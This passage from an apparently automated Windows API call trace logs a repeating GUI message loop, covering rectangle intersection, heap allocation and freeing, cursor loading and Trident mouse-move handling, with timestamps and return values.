lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.301] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.301] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.301] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.301] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.301] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.301] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.301] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.302] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.302] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.302] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.302] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.302] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.302] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.302] GetCursor () returned 0x10003 [0084.302] GetCurrentThreadId () returned 0xcd8 [0084.302] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.302] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.302] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.302] GetMessageTime () returned 212691 [0084.302] GetMessagePos () returned 0x218027c [0084.302] GetCapture () returned 0x0 [0084.302] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.302] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.302] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.302] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.302] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.302] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.303] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.303] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.303] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.303] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.303] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.303] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.303] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.303] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.303] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.303] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.303] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.303] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.304] GetCurrentThreadId () returned 0xcd8 [0084.304] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.304] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.304] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.304] NtdllDefWindowProc_W () returned 0x0 [0084.304] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.304] GetCurrentThreadId () returned 0xcd8 [0084.304] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.304] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.304] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.304] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.304] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.304] GetCurrentThreadId () returned 0xcd8 [0084.304] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.304] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.305] GetMessageTime () returned 212691 [0084.305] GetMessagePos () returned 0x218027c [0084.305] GetCapture () returned 0x0 [0084.305] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.305] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.305] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.305] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.305] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.305] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.305] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.305] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.305] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.305] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.305] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.305] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.305] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.305] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.305] GetCursor () returned 0x10003 [0084.305] GetCurrentThreadId () returned 0xcd8 [0084.306] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.306] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.306] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.306] GetMessageTime () returned 212707 [0084.306] GetMessagePos () returned 0x218027c [0084.306] GetCapture () returned 0x0 [0084.306] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.306] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.306] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.306] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.306] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.306] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.306] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.306] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.306] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.306] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.306] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.306] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.307] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.307] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.307] GetCurrentThreadId () returned 0xcd8 [0084.307] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.307] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.307] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.307] NtdllDefWindowProc_W () returned 0x0 [0084.307] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.307] GetCurrentThreadId () returned 0xcd8 [0084.307] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.308] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.308] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.308] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.308] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.308] GetCurrentThreadId () returned 0xcd8 [0084.308] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.308] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.308] GetMessageTime () returned 212707 [0084.308] GetMessagePos () returned 0x218027c [0084.308] GetCapture () returned 0x0 [0084.308] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.308] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.308] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.308] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.308] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.308] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.308] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.308] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.308] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.309] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.309] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.309] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.309] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.309] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.309] GetCursor () returned 0x10003 [0084.309] GetCurrentThreadId () returned 0xcd8 [0084.309] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.309] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.309] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.309] GetMessageTime () returned 212707 [0084.309] GetMessagePos () returned 0x218027c [0084.309] GetCapture () returned 0x0 [0084.309] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.309] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.309] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.309] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.309] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.309] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.310] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.310] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.310] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.310] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.310] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.310] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.310] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.310] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.310] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.310] GetCurrentThreadId () returned 0xcd8 [0084.310] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.310] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.311] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.311] NtdllDefWindowProc_W () returned 0x0 [0084.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.311] GetCurrentThreadId () returned 0xcd8 [0084.311] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.311] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.311] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.311] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.311] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.311] GetCurrentThreadId () returned 0xcd8 [0084.311] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.311] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.311] GetMessageTime () returned 212707 [0084.311] GetMessagePos () returned 0x218027c [0084.311] GetCapture () returned 0x0 [0084.311] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.311] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.311] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.311] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.311] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.312] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.312] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.312] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.312] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.312] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.312] GetCursor () returned 0x10003 [0084.312] GetCurrentThreadId () returned 0xcd8 [0084.312] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.312] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.312] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.312] GetMessageTime () returned 212707 [0084.312] GetMessagePos () returned 0x218027c [0084.312] GetCapture () returned 0x0 [0084.312] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.312] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.313] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.313] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 